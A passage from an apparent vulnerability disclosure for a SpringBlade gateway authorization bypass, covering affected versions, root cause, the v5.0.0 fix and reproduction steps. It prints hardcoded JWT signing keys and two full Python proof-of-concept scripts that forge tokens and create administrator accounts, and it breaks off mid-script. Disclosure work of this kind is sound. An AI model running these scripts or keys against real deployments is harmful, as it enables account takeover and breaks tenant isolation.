| locator default `RewritePath` | \u274c Not affected (no write endpoint) |\n| **2.7.3** (2020-09-14) | Present (first introduced) | locator default `RewritePath` | \u2705 **Affected (first exploitable version, verified live)** |\n| 2.8.0 ~ v3.0.1 | Present | locator default `RewritePath` | \u2705 **Affected** (v3.0.0 verified live) |\n| v3.0.2 ~ v4.10.0 | Present | locator default `RewritePath` + custom `RequestFilter` (introduced in v3.0.2) | \u2705 **Affected** (v3.1.0 / v4.10.0 verified live) |\n| **v5.0.0 / v5.0.1** | **Removed** | `InnerFilter` (403 interception) | \u2705 **Fixed (verified statically)** |\n\n- **Lowest affected version: 2.7.3** \u2014 the `save-user` write endpoint was first introduced in 2.7.3.RELEASE (commit `503c853`, 2020-09-14); in 2.7.2 and earlier, `UserClient` only had the query endpoints `userInfo` / `userAuthInfo`.\n- **About \"gateway path stripping\"**: Spring Cloud Gateway's discovery locator automatically generates a default route filter `RewritePath '/'+serviceId+'/(?.*)' \u2192 '/${remaining}'` for each service (in the Hoxton / 2020.0.x era, SC Gateway 2.2.x / 3.0.x's `GatewayDiscoveryClientAutoConfiguration` all embed this default; verified one by one in the bytecode of 2.2.6 / 3.0.1 / 3.0.3, with 2.2.5 indirectly confirmed by the live 2.7.3 reproduction). Therefore, even **without** SpringBlade's custom `RequestFilter` (introduced only in v3.0.2), an external request `/blade-user/user/save-user` is still rewritten to `/user/save-user` by the locator's default filter, hitting the downstream internal endpoint \u2014 **the successful live reproduction on v3.0.0 (which has no `RequestFilter`) is direct evidence of this**. `RequestFilter` is not a necessary link in the vulnerability chain.\n- **Highest affected version: v4.10.0 through just before v5.0.0** (the last affected tag in the repository is v4.10.0, 2026-05-10; between v4.10.0 and v5.0.0, `saveUser` remained present the whole time\u2014the only removal happened in the v5.0.0 fix commit, verified via `git log -S`). The vendor removed this write endpoint and added internal-endpoint interception in **v5.0.0**, so it no longer reproduces from v5.0.0 onward.\n\n### 2.2 Correspondence of Affected Source Code\n\n| Affected Version | User-Service Module | Gateway Route Prefix | JWT Signing Key |\n|---|---|---|---|\n| 2.7.3 | `blade-user` | `/blade-user/...` | Hardcoded `\"Blade\"` (see \u00a76.4) |\n| 2.8.0 ~ v3.5.0 | `blade-user` | `/blade-user/...` | Hardcoded `\"bladex...commercialproject\"` (see \u00a76.4) |\n| v3.6.0 ~ 4.1.0 | `blade-user` | `/blade-user/...` | Config item `blade.token.sign-key` (\u226532 chars, enforced at gateway startup) |\n| v4.2.0 ~ v4.10.0 | `blade-system` (the `blade-user` module was merged in at v4.2.0) | `/blade-system/...` | Config item `blade.token.sign-key` |\n\n---\n\n## 3. Prerequisites for Exploitation\n\nA deployment is at risk if it meets the following conditions:\n\n1. The target is the **SpringBlade microservice edition** and exposes the `blade-gateway` gateway component (with `blade-system`/`blade-user` registered in the same service-discovery center, e.g. Nacos).\n2. The gateway has **service-discovery dynamic routing** enabled (`spring.cloud.gateway.server.webflux.discovery.locator.enabled=true`, which is the default/common configuration).\n3. The attacker satisfies either of the following:\n   - Holds **any valid JWT recognized by the gateway** (even a token for the lowest-privilege regular user); **or**\n   - Obtains the gateway's **JWT signing key** and forges a valid JWT (for 2.7.3 ~ v3.5.0 the key is hardcoded in publicly available JARs and can be extracted directly; from v3.6.0 it became a config item\u2014see \u00a76.4).\n\n&amp;gt; In short: the exploitation barrier is extremely low\u2014all that's needed is a regular login account.\n\n---\n\n## 4. Impact\n\nAn attacker exploiting this vulnerability can directly:\n\n1. **Full Privilege Escalation (Role/Data Privilege Escalation)**: Forge fields such as `tenantId`, `account`, `password`, `roleId`, `deptId`, `postId` to create an account with the **`administrator` super-administrator role**, achieving regular-user \u2192 system-administrator escalation.\n2. **Bypass control-plane checks**: Circumvent the administrator permission check in `UserController.submit` (`@PreAuth(HAS_ROLE_ADMIN)`).\n3. **Improper handling**: Directly call the underlying `service.save`, **skipping password encryption (`DigestUtil.encrypt`), tenant binding, and account-uniqueness checks in the normal flow**, writing a plaintext password to the database and creating a persistent backdoor.\n4. **Cross-tenant damage**: Arbitrarily specify `tenantId` to pollute other tenants' data and break tenant isolation.\n5. **Consolidation**: Persistently control the entire system's account infrastructure.\n\nScope and severity: Because SpringBlade is widely used in numerous enterprise back-office management projects, this vulnerability severely compromises the account system and tenant-isolation boundaries, and is rated **High**.\n\n---\n\n## 5. Technical Analysis (Root Cause)\n\nThe vulnerability is caused by the combination of three defects: **gateway route rewriting + coarse-grained authentication + exposure of a downstream internal Feign controller**:\n\n1. **Route exposure and rewriting**: `blade-gateway` enables discovery locator, and an external request `POST /blade-system/user/save-user` (or `/blade-user/user/save-user` on older versions) has its first path segment (the service name) stripped, being rewritten to `/user/save-user` and forwarded to the downstream user service. The path stripping is done by one of two mechanisms: **the default `RewritePath` filter automatically generated by the discovery locator** (present in all affected versions), and SpringBlade's custom `RequestFilter` (`.skip(1)`, introduced in v3.0.2, duplicating the former's effect). Therefore this exposure surface has existed since 2.7.3, when the `save-user` endpoint was born.\n2. **Insufficient gateway authentication**: The gateway's `AuthFilter` only verifies via `JwtUtil.parseJWT(token)` whether the token parses successfully; **it does not check user roles, admin privileges, or Feign client identity**, nor does it apply any whitelist/blacklist or source checks to internal endpoint paths.\n3. **Unguarded internal service boundary**: `UserClient` in the `blade-system` module was meant to be a Feign implementation class, but it is also annotated with `@RestController`, exposing a plain HTTP entry point; its `saveUser` method has **no `@PreAuth`** and directly calls `service.save(user)` to persist an attacker-controlled user object.\n\n&amp;gt; Normal external administrator user creation goes through `UserController.submit`, which enforces strict admin permissions, tenant binding, and password encryption; whereas an attacker reaches the completely undefended `UserClient.saveUser` through the gateway, skipping all business security barriers and writing data directly to the database.\n\n---\n\n## 6. Code Evidence (Precisely Annotated by Version)\n\n&amp;gt; Source repository: Gitee `https://gitee.com/smallc/SpringBlade.git` (GitHub mirror `https://github.com/chillzhuang/SpringBlade.git`)\n&amp;gt; Affected version tag (v4.10.0): `3002202ed38ca0eed0bbf1f69d33fd056ef6b515` (2026-05-10)\n\n### 6.1 Gateway: Path Rewriting (`RequestFilter`)\n\nFile: `blade-gateway/src/main/java/org/springblade/gateway/filter/RequestFilter.java` (**introduced in v3.0.2, present in v3.1.0 and v4.10.0; absent in 2.7.3 ~ v3.0.1, where the locator's default `RewritePath` filter performs the equivalent stripping\u2014see \u00a72.1**)\n\n```java\nString rawPath = request.getURI().getRawPath();\nString newPath = \"/\" + Arrays.stream(StringUtils.tokenizeToStringArray(rawPath, \"/\"))\n    .skip(1L)                                              // [v4.10.0:32] strip the 1st path segment (service name)\n    .collect(Collectors.joining(\"/\"));                     // [v3.1.0:32]\n```\n\n\u2192 An external `/blade-system/user/save-user` is rewritten to the downstream `/user/save-user`.\n\n### 6.2 Gateway: Authentication Only Verifies the JWT (`AuthFilter`)\n\nFile: `blade-gateway/src/main/java/org/springblade/gateway/filter/AuthFilter.java` (**identical in v3.1.0 / v4.10.0**)\n\n```java\nString headerToken = exchange.getRequest().getHeaders().getFirst(AuthProvider.AUTH_KEY); // [v4.10.0:67]\nString paramToken  = exchange.getRequest().getQueryParams().getFirst(AuthProvider.AUTH_KEY); // [v4.10.0:68]\n...\nClaims claims = JwtUtil.parseJWT(token);      // [v4.10.0:78] only parses the JWT\nif (claims == null) {\n    return unAuth(resp, \"\u8bf7\u6c42\u672a\u6388\u6743\");          // [v4.10.0:79] passes as long as parsing succeeds\n}\nreturn chain.filter(exchange);\n```\n\n\u2192 **Only checks \"whether the token parses\"**; no role / internal-endpoint / service-identity checks, and no verification that `claims` fields such as `tenant_id`, `role_id`, `role_name` match actual database records (signature check only, no semantic validation).\n\n### 6.3 Downstream: Feign Implementation Exposes the Internal Write Endpoint as Unprotected HTTP (`UserClient`)\n\nFiles (by version):\n- `blade-service/blade-user/src/main/java/.../system/user/feign/UserClient.java` (2.7.3 ~ 4.1.0, including v3.1.0)\n- `blade-service/blade-system/src/main/java/.../system/feign/UserClient.java` (v4.2.0 ~ v4.10.0; the `blade-user` module was merged into `blade-system` at v4.2.0)\n\n```java\n@Hidden                          // SpringDoc/Swagger annotation: only hides API docs, does NOT affect Spring MVC route registration\n@RestController                  // [v4.10.0:36] / [v3.1.0:33] also a REST Controller (reachable externally)\n@AllArgsConstructor\npublic class UserClient implements IUserClient {\n\n    private IUserService service;\n\n    @Override\n    @PostMapping(API_PREFIX + \"/user/save-user\")           // [v4.10.0:60] / [v3.1.0:57]\n    public R saveUser(User user) {\n        return R.data(service.save(user));                 // [v4.10.0:61-62 / v3.1.0:59] persists directly, no @PreAuth\n    }\n}\n```\n\n&amp;gt; **Key point: incorrect use of `@Hidden`**. `@Hidden` is a springdoc-openapi annotation whose only effect is to hide the controller from Swagger/OpenAPI documentation\u2014**it does not prevent Spring MVC from registering `UserClient` as an HTTP route**. The code author's intent was clearly \"internal Feign implementation\", but **`@RestController` makes it reachable over external HTTP**, with all routes inherited from `IUserClient` (an external-facing interface). This is a classic vulnerability caused by implementation-intent mismatch.\n\nCorresponding Feign interface (same version): `blade-service-api/blade-user-api/.../feign/IUserClient.java`\n```java\nString API_PREFIX = \"/user\";                              // [v4.10.0:41] / [v3.1.0:41]\n@PostMapping(API_PREFIX + \"/save-user\")                   // [v4.10.0:78]\nR saveUser(@RequestBody User user);              // [v4.10.0:79] exposed as an external HTTP entry point\n```\n\n### 6.4 JWT Signing Key Situation Across Versions (Affects Exploitation Barrier)\n\n- **2.7.3**: `TokenConstant.SIGN_KEY` hardcoded to `\"Blade\"` (`blade-core-launch-2.7.3.jar`, verified by decompilation).\n- **2.8.0 ~ v3.5.0**: `TokenConstant.SIGN_KEY` hardcoded to the long string below; the gateway's `JwtUtil.parseJWT` references this constant directly and **it does not change with any configuration** (verified at gateway `JwtUtil.java:32/36/64` in v3.1.0):\n\n```java\nSIGN_KEY = \"bladexisapowerfulmicroservicearchitectureupgradedandoptimizedfromacommercialproject\";\nBASE64_SECURITY = Base64.encode(SIGN_KEY.getBytes(UTF_8));   // used as the HMAC-SHA256 key\n```\n\n- **v3.6.0 ~ v4.10.0**: Changed to read from the config item `blade.token.sign-key` (gateway `JwtProperties`; `getSignKey()` enforces length \u226532, otherwise startup throws `JwtException(\"\u8bf7\u914d\u7f6e blade.token.sign-key \u7684\u503c, \u957f\u5ea632\u4f4d\u4ee5\u4e0a\")`).\n\n\u2192 For 2.7.3 ~ v3.5.0, an attacker can extract the key directly from publicly available JARs and forge a JWT for any role, **without needing any legitimate account**; for v3.6.0+, the attacker must hold any genuine low-privilege JWT (or learn the deployment's own sign-key).\n\n---\n\n## 7. Fix Status\n\nThe vulnerability was **officially fixed in `v5.0.0`**, in a **single commit**:\n\n- **Commit / tag**: `c69b9547c942c697da2f3ee6a9265b6004abd645` (tag `v5.0.0`)\n- **Commit message**: `5.0.0.RELEASE \u91cd\u6784\u5347\u7ea7 SpringBoot4 SpringCloud2025 JDK21 TypeScript`\n- **Date**: `2026-07-30`\n- This commit makes the following **three fixes at once** (corresponding to the three root causes of this vulnerability):\n  1. **Removes the `UserClient.saveUser` write endpoint** (`saveUser` deleted from both `UserClient.java` and `IUserClient.java`) \u2014 completely eliminates the landing entry for the service-auth bypass;\n  2. **Tightens internal Feign endpoint paths**: `API_PREFIX` changed from `/user` to `/feign/client/user` (`IUserClient.java`), isolating internal Feign endpoints from external business endpoints;\n  3. **Adds internal-endpoint interception in the gateway**: new `blade-gateway/.../filter/InnerFilter.java` normalizes the raw path and, if it hits the reserved segments `feign/client`, always returns `403 \u7981\u6b62\u8bbf\u95ee\u5185\u90e8\u63a5\u53e3` (`{\"msg\":\"\u7981\u6b62\u8bbf\u95ee\u5185\u90e8\u63a5\u53e3\",\"code\":403}`), regardless of whether the token is valid.\n\n&amp;gt; Conclusion: **Affected versions must be upgraded to v5.0.0 or later**; v5.0.1 and the latest master both include this fix (verified statically: `saveUser` removal, `API_PREFIX` change, and `InnerFilter` all present).\n\n---\n\n## 8. Reproduction Steps and Verification (Full PoC)\n\n### 8.1 Verification Summary\n\n| Low-privilege JWT hitting the internal write endpoint | 2.7.3 | v3.0.0 | v3.1.0 | v4.10.0 | v5.0.x |\n|---|---|---|---|---|---|\n| No token | `401` (verified) | `401` (verified) | `401` (verified) | `401` (verified) | `401` |\n| **Low-privilege JWT hitting `/save-user`** | **`200` admin created (verified)** | **`200` admin created (verified)** | **`200` admin created (verified)** | **`200` admin created (verified)** | `404` endpoint gone (verified statically) |\n| Database write (plaintext password + administrator role) | \u2705 | \u2705 | \u2705 | \u2705 | \u274c No write |\n| Key used to forge the JWT | `\"Blade\"` (hardcoded) | long hardcoded string (\u00a76.4) | long hardcoded string (\u00a76.4) | deployment's own sign-key | \u2014 |\n| Control group `/user/submit` (requires admin) | \u2014 | \u2014 | \u2014 | `401` rejected (verified) | \u2014 |\n| Internal `/feign/...` access | reachable | reachable | reachable | reachable | `403` intercepted (verified statically) |\n\n&amp;gt; Note: the v3.0.0 gateway has **no** `RequestFilter`, yet reproduction still succeeds\u2014proving the discovery locator's default `RewritePath` filter alone completes path stripping (see \u00a72.1).\n\n### 8.2 Python PoC (Script 1): Gateway direct to internal endpoint + control group + database write verification\n\nThe following PoC uses only the Python standard library and sends real HTTP requests to a running victim gateway. The script performs three groups of verification in sequence. It **has no third-party dependencies**\u2014the JWT is built with the standard library's HMAC-SHA256 (forging a low-privilege `user`-role token), HTTP uses `urllib`, and database verification is done via `docker exec mysql`. The script's **default account `poc_report_` and default password `poc-report-plain`** are both safe ASCII (enforced by the `SAFE_ACCOUNT` regex, so SQL-injection risk is zero).\n\n1. **No-token control**: `POST /user/save-user` (expect `401`, proving gateway auth is in effect);\n2. **Exploit request**: hit the same internal write endpoint with a **forged low-privilege (`user` role) JWT** (expect `200`, admin created);\n3. **Control-plane control** (when `POC_CHECK_SUBMIT_CONTROL=1`): hit `UserController.submit` (`@PreAuth(HAS_ROLE_ADMIN)`) with the same JWT, expecting rejection\u2014proving the escalation bypasses control-plane checks;\n4. **Database write verification**: query MySQL `blade.blade_user` via `docker exec`, checking the account and **plaintext password** persisted.\n\nAll parameters can be overridden via environment variables. `` varies by version: `/blade-user` for 2.7.3 ~ 4.1.0, `/blade-system` from v4.2.0 (see \u00a72.2). Full list of Script 1 environment variables:\n\n| Category | Variable | Default | Description |\n|---|---|---|---|\n| Target | `POC_GATEWAY_URL` | `http://127.0.0.1:18080` | Victim gateway address |\n| Target | `POC_PATH_PREFIX` | `/blade-system` | Route prefix for the version |\n| Key | `POC_SIGN_KEY` | (required) | JWT forging key (\u00a76.4) |\n| Data | `POC_ACCOUNT` / `POC_PASSWORD` / `POC_TENANT_ID` / `POC_ROLE_ID` / `POC_DEPT_ID` / `POC_POST_ID` | `poc_report_` / `poc-report-plain` / `000000` / `1123598816738675201` / `1123598813738675201` / `1123598817738675201` | User fields to persist |\n| JWT claims | `POC_TOKEN_*` | see script payload | Inner fields of the forged low-privilege JWT |\n| Control | `POC_CHECK_SUBMIT_CONTROL` | `1` | Whether to call `UserController.submit` as a rejection control |\n| Database | `POC_SKIP_DB_CHECK` / `POC_MYSQL_CONTAINER` / `POC_MYSQL_USER` / `POC_MYSQL_PASSWORD` / `POC_MYSQL_DB` | `0` / `sb-mysql` / `root` / `root` / `blade` | Skip DB verification / docker exec connection |\n| Other | `POC_HTTP_TIMEOUT` | `20` | HTTP timeout (seconds) |\n\n```bash\n# v4.x environment (gateway 18080, requires a deployment-configured \u226532-char sign-key, prefix /blade-system)\nPOC_GATEWAY_URL=http://127.0.0.1:18080 \\\nPOC_PATH_PREFIX=/blade-system \\\nPOC_SIGN_KEY='springblade-vuln-sign-key-20260528-32chars' \\\nPOC_MYSQL_CONTAINER=sb-mysql \\\npython3 springblade_service_auth_bypass_poc.py\n\n# v3.x / 2.7.3 environment (hardcoded key, prefix /blade-user, see \u00a76.4)\nPOC_GATEWAY_URL=http://127.0.0.1:18080 \\\nPOC_PATH_PREFIX=/blade-user \\\nPOC_SIGN_KEY='bladexisapowerfulmicroservicearchitectureupgradedandoptimizedfromacommercialproject' \\\nPOC_MYSQL_CONTAINER=sb-mysql \\\npython3 springblade_service_auth_bypass_poc.py\n#  For 2.7.3 use POC_SIGN_KEY='Blade'\n```\n\n`poc/src/springblade_service_auth_bypass_poc.py` (full script):\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC for SpringBlade gateway-to-Feign service authorization bypass.\n\nThe script targets a running vulnerable SpringBlade deployment. It does not\nreimplement application logic; it sends the same external HTTP request that is\nrouted by the real gateway to the real user service (blade-user for\n2.7.3~4.1.0, blade-system for v4.2.0+).\n\"\"\"\n\nfrom __future__ import annotations\n\nimport base64\nimport hashlib\nimport hmac\nimport json\nimport os\nimport re\nimport subprocess\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n\nDEFAULT_GATEWAY_URL = \"http://127.0.0.1:18080\"\n# v4.x: /blade-system  |  2.7.3 ~ 4.1.0: /blade-user\nDEFAULT_PATH_PREFIX = \"/blade-system\"\nSAFE_ACCOUNT = re.compile(r\"^[A-Za-z0-9_.@-]+$\")\n\n\ndef env(name: str, default: str) -&amp;gt; str:\n    return os.environ.get(name, default)\n\n\ndef b64url(raw: bytes) -&amp;gt; str:\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\").decode(\"ascii\")\n\n\ndef make_jwt(sign_key: str) -&amp;gt; str:\n    header = {\"alg\": \"HS256\", \"typ\": \"JWT\"}\n    payload = {\n        \"token_type\": \"access_token\",\n        \"tenant_id\": env(\"POC_TOKEN_TENANT_ID\", \"000000\"),\n        \"user_id\": env(\"POC_TOKEN_USER_ID\", \"1123598821738675201\"),\n        \"role_id\": env(\"POC_TOKEN_ROLE_ID\", \"1123598816738675202\"),\n        \"dept_id\": env(\"POC_TOKEN_DEPT_ID\", \"1123598813738675201\"),\n        \"account\": env(\"POC_TOKEN_ACCOUNT\", \"lowuser\"),\n        \"user_name\": env(\"POC_TOKEN_USER_NAME\", \"lowuser\"),\n        \"role_name\": env(\"POC_TOKEN_ROLE_NAME\", \"user\"),\n        \"aud\": env(\"POC_TOKEN_AUD\", \"audience\"),\n        \"iss\": env(\"POC_TOKEN_ISS\", \"issuser\"),\n        \"exp\": int(time.time()) + int(env(\"POC_TOKEN_TTL_SECONDS\", \"3600\")),\n    }\n    signing = (\n        f\"{b64url(json.dumps(header, separators=(',', ':')).encode())}.\"\n        f\"{b64url(json.dumps(payload, separators=(',', ':')).encode())}\"\n    ).encode(\"ascii\")\n    signature = hmac.new(sign_key.encode(\"utf-8\"), signing, hashlib.sha256).digest()\n    return signing.decode(\"ascii\") + \".\" + b64url(signature)\n\n\ndef http_post_json(url: str, body: dict[str, str], token: str | None = None) -&amp;gt; tuple[int, str]:\n    data = json.dumps(body).encode(\"utf-8\")\n    headers = {\"Content-Type\": \"application/json\"}\n    if token:\n        headers[\"Blade-Auth\"] = f\"bearer {token}\"\n    request = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n    try:\n        with urllib.request.urlopen(request, timeout=float(env(\"POC_HTTP_TIMEOUT\", \"20\"))) as response:\n            return response.status, response.read().decode(\"utf-8\", errors=\"replace\")\n    except urllib.error.HTTPError as exc:\n        return exc.code, exc.read().decode(\"utf-8\", errors=\"replace\")\n\n\ndef mysql_query(sql: str) -&amp;gt; str:\n    container = env(\"POC_MYSQL_CONTAINER\", \"sb-mysql\")\n    user = env(\"POC_MYSQL_USER\", \"root\")\n    password = env(\"POC_MYSQL_PASSWORD\", \"root\")\n    cmd = [\n        \"docker\",\n        \"exec\",\n        container,\n        \"mysql\",\n        f\"-u{user}\",\n        f\"-p{password}\",\n        \"-N\",\n        \"-B\",\n        \"-e\",\n        sql,\n    ]\n    completed = subprocess.run(cmd, check=False, text=True, capture_output=True)\n    if completed.returncode != 0:\n        raise RuntimeError(completed.stderr.strip() or completed.stdout.strip())\n    return completed.stdout.strip()\n\n\ndef require_safe_account(account: str) -&amp;gt; None:\n    if not SAFE_ACCOUNT.match(account):\n        raise ValueError(f\"Unsafe account value for SQL verification: {account!r}\")\n\n\ndef main() -&amp;gt; int:\n    gateway_url = env(\"POC_GATEWAY_URL\", DEFAULT_GATEWAY_URL).rstrip(\"/\")\n    path_prefix = env(\"POC_PATH_PREFIX\", DEFAULT_PATH_PREFIX)\n    sign_key = env(\"POC_SIGN_KEY\", \"\")\n    account = env(\"POC_ACCOUNT\", f\"poc_report_{int(time.time())}\")\n    password = env(\"POC_PASSWORD\", \"poc-report-plain\")\n    tenant_id = env(\"POC_TENANT_ID\", \"000000\")\n    role_id = env(\"POC_ROLE_ID\", \"1123598816738675201\")\n    dept_id = env(\"POC_DEPT_ID\", \"1123598813738675201\")\n    post_id = env(\"POC_POST_ID\", \"1123598817738675201\")\n    db_name = env(\"POC_MYSQL_DB\", \"blade\")\n\n    if not sign_key:\n        print(\"[!] POC_SIGN_KEY is required\", file=sys.stderr)\n        return 2\n\n    require_safe_account(account)\n    token = make_jwt(sign_key)\n    save_user_url = f\"{gateway_url}{path_prefix}/user/save-user\"\n    submit_url = f\"{gateway_url}{path_prefix}/user/submit\"\n    body = {\n        \"tenantId\": tenant_id,\n        \"account\": account,\n        \"password\": password,\n        \"name\": \"poc\",\n        \"realName\": \"poc\",\n        \"roleId\": role_id,\n        \"deptId\": dept_id,\n        \"postId\": post_id,\n    }\n\n    print(f\"[*] Gateway URL: {gateway_url}\")\n    print(f\"[*] Target: {save_user_url}\")\n    print(f\"[*] PoC account: {account}\")\n\n    no_token_status, no_token_body = http_post_json(save_user_url, body)\n    print(f\"[*] No-token control status: {no_token_status}\")\n    print(f\"[*] No-token control body: {no_token_body}\")\n\n    exploit_status, exploit_body = http_post_json(save_user_url, body, token)\n    print(f\"[*] Exploit status: {exploit_status}\")\n    print(f\"[*] Exploit body: {exploit_body}\")\n    if exploit_status != 200:\n        print(\"[!] Exploit request did not return HTTP 200\", file=sys.stderr)\n        return 1\n\n    if env(\"POC_CHECK_SUBMIT_CONTROL\", \"1\") == \"1\":\n        submit_account = f\"{account}_submit\"\n        submit_body = dict(body)\n        submit_body[\"account\"] = submit_account\n        submit_status, submit_response = http_post_json(submit_url, submit_body, token)\n        print(f\"[*] Admin submit control status: {submit_status}\")\n        print(f\"[*] Admin submit control body: {submit_response}\")\n\n    if env(\"POC_SKIP_DB_CHECK\", \"0\") == \"1\":\n        print(\"[*] Database verification skipped by POC_SKIP_DB_CHECK=1\")\n        return 0\n\n    sql = (\n        \"SELECT id,tenant_id,account,password,role_id,dept_id,post_id,status,is_deleted \"\n        f\"FROM {db_name}.blade_user WHERE account='{account}'\"\n    )\n    row = mysql_query(sql)\n    print(\"[*] Database row:\")\n    print(row)\n    if not row:\n        print(\"[!] Database row was not created\", file=sys.stderr)\n        return 1\n    fields = row.split(\"\\t\")\n    if len(fields) &amp;lt; 9 or fields[2] != account or fields[3] != password:\n        print(\"[!] Database row does not match the expected account/password\", file=sys.stderr)\n        return 1\n\n    print(\"[+] Vulnerability reproduced: low-privilege JWT reached /user/save-user and created a user.\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n### 8.3 Python PoC (Script 2): Create a **login-capable** administrator via the frontend `/api` proxy\n\nScript 1 writes a **plaintext password** (because `saveUser` skips `DigestUtil.encrypt`), so the resulting account becomes a backdoor whose password cannot be used for normal login. Script 2 targets **real deployment topology** (frontend forwards to the gateway via an `/api` proxy), reproduces the same vulnerability, and makes two improvements that complete an \"executable privilege-escalation loop\":\n\n1. **Reproduces the password-encryption logic**: locally computes `DigestUtil.encrypt(plaintext)` (`sha1(md5(plaintext))`) and writes that to the `password` field\u2014the created administrator account can **log into the system directly**, forming a fully usable escalation loop; this is stronger evidence than Script 1's DB-write verification: the impact is not merely \"an admin row was created\" but \"a working account was created that can immediately be used to take over the system\".\n2. **More realistic credentials**: only needs the `Blade-Auth` header to carry **any genuine JWT of a logged-in low-privilege user** (a bare JWT can also be pasted; the script automatically adds the `bearer ` prefix), with no need to know the gateway signing key (for v3.6.0+ a genuine JWT works; for 2.7.3~v3.5.0, Script 1's hardcoded-key forging also applies).\n\n```bash\n# --target is the frontend proxy base URL (its /api prefix is proxied to the gateway)\npython3 create_admin_with_blade_auth.py \\\n  --target http://127.0.0.1:2888 \\\n  --blade-auth 'bearer eyJhbGciOi...(any low-privilege user token)' \\\n  --account audit_admin_01\n\n# On success, stdout prints only two lines (usable directly for login verification):\n#   account=audit_admin_01\n#   password=\n\n# Full CLI options: --target (required, frontend proxy base) / --blade-auth (required, Blade-Auth header value or bare JWT)\n#   / --account (default audit_admin_, ASCII-enforced) / --password (default random 16 chars, safe charset)\n#   / --tenant-id / --role-id / --dept-id / --post-id / --name / --real-name\n#   / --path (default /api/blade-system/user/save-user) / --timeout (default 20s) / --store-raw-password\n```\n\n`poc/src/create_admin_with_blade_auth.py` (full script):\n\n```python\n#!/usr/bin/env python3\n\"\"\"Create a SpringBlade administrator through the vulnerable save-user route.\n\nInputs required by default:\n  --target      Frontend proxy base URL, for example http://127.0.0.1:2888\n  --blade-auth  Value of the Blade-Auth header. A raw JWT is also accepted and\n                will be sent as \"bearer \".\n\nOn success, stdout contains only the created account and plaintext password.\nDiagnostic information is written to stderr.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport hashlib\nimport json\nimport re\nimport secrets\nimport string\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n\nSAFE_ACCOUNT = re.compile(r\"^[A-Za-z0-9_.@-]+$\")\nDEFAULT_FRONTEND_PROXY_PATH = \"/api/blade-system/user/save-user\"\n\n\ndef springblade_digest(password: str) -&amp;gt; str:\n    \"\"\"Replicate org.springblade.core.tool.utils.DigestUtil.encrypt.\"\"\"\n    md5_hex = hashlib.md5(password.encode(\"utf-8\")).hexdigest()\n    return hashlib.sha1(md5_hex.encode(\"utf-8\")).hexdigest()\n\n\ndef normalize_blade_auth(value: str) -&amp;gt; str:\n    value = value.strip()\n    if value.lower().startswith(\"blade-auth:\"):\n        value = value.split(\":\", 1)[1].strip()\n    if value[:6].lower() in {\"bearer\", \"crypto\"}:\n        return value\n    return f\"bearer {value}\"\n\n\ndef random_password(length: int = 16) -&amp;gt; str:\n    alphabet = string.ascii_letters + string.digits\n    return \"\".join(secrets.choice(alphabet) for _ in range(length))\n\n\ndef build_url(target: str, path: str) -&amp;gt; str:\n    target = target.rstrip(\"/\")\n    if not path:\n        return target\n    if not path.startswith(\"/\"):\n        path = \"/\" + path\n    if target.endswith(\"/api\") and path.startswith(\"/api/\"):\n        path = path[len(\"/api\"):]\n    return target + path\n\n\ndef post_json(url: str, blade_auth: str, body: dict[str, str], timeout: float) -&amp;gt; tuple[int, str]:\n    data = json.dumps(body, separators=(\",\", \":\")).encode(\"utf-8\")\n    request = urllib.request.Request(\n        url,\n        data=data,\n        headers={\n            \"Blade-Auth\": normalize_blade_auth(blade_auth),\n            \"Content-Type\": \"application/json\",\n            \"Accept\": \"application/json\",\n        },\n        method=\"POST\",\n    )\n    try:\n        with urllib.request.urlopen(request, timeout=timeout) as response:\n            return response.status, response.read().decode(\"utf-8\", errors=\"replace\")\n    except urllib.error.HTTPError as exc:\n        return exc.code, exc.read().decode(\"utf-8\", errors=\"replace\")\n\n\ndef parse_args() -&amp;gt; argparse.Namespace:\n    parser = argparse.ArgumentParser(\n        description=\"Create an administrator via the SpringBlade frontend /api proxy to the vulnerable save-user route.\"\n    )\n    parser.add_argument(\"--target\", required=True, help=\"Frontend proxy base URL, e.g. http://127.0.0.1:2888\")\n    parser.add_argument(\"--blade-auth\", required=True, help=\"Blade-Auth header value or raw JWT\")\n    parser.add_argument(\"--account\", default=f\"audit_admin_{int(time.time())}\", help=\"Admin account to create\")\n    parser.add_argument(\"--password\", default=None, help=\"Plaintext password to return; generated if omitted\")\n    parser.add_argument(\"--tenant-id\", default=\"000000\")\n    parser.add_argument(\"--role-id\", default=\"1123598816738675201\", help=\"Default SpringBlade administrator role id\")\n    parser.add_argument(\"--dept-id\", default=\"1123598813738675201\")\n    parser.add_argument(\"--post-id\", default=\"1123598817738675201\")\n    parser.add_argument(\"--name\", default=\"audit-admin\")\n    parser.add_argument(\"--real-name\", default=\"audit\")\n    parser.add_argument(\n        \"--path\",\n        default=DEFAULT_FRONTEND_PROXY_PATH,\n        help=f\"Request path under --target; default {DEFAULT_FRONTEND_PROXY_PATH}\",\n    )\n    parser.add_argument(\"--timeout\", type=float, default=20.0)\n    parser.add_argument(\n        \"--store-raw-password\",\n        action=\"store_true\",\n        help=\"Store the plaintext password directly. Do not use unless you only need DB write proof.\",\n    )\n    return parser.parse_args()\n\n\ndef main() -&amp;gt; int:\n    args = parse_args()\n    if not SAFE_ACCOUNT.match(args.account):\n        print(f\"Refusing unsafe account value: {args.account!r}\", file=sys.stderr)\n        return 2\n\n    plaintext_password = args.password or random_password()\n    stored_password = plaintext_password if args.store_raw_password else springblade_digest(plaintext_password)\n    url = build_url(args.target, args.path)\n    body = {\n        \"tenantId\": args.tenant_id,\n        \"account\": args.account,\n        \"password\": stored_password,\n        \"name\": args.name,\n        \"realName\": args.real_name,\n        \"roleId\": args.role_id,\n        \"deptId\": args.dept_id,\n        \"postId\": args.post_id,\n    }\n\n    print(f\"[*] POST {url}\", file=sys.stderr)\n    print(f\"[*] account={args.account} roleId={args.role_id}\", file=sys.stderr)\n    if not args.store_raw_password:\n        print(\"[*] password is stored as SpringBlade DigestUtil.encrypt(plaintext)\", file=sys.stderr)\n\n    status, response_body = post_json(url, args.blade_auth, body, args.timeout)\n    print(f\"[*] HTTP {status}\", file=sys.stderr)\n    print(f\"[*] response={response_body}\", file=sys.stderr)\n\n    try:\n        parsed = json.loads(response_body)\n    except json.JSONDecodeError:\n        parsed = {}\n\n    success = status == 200 and (\n        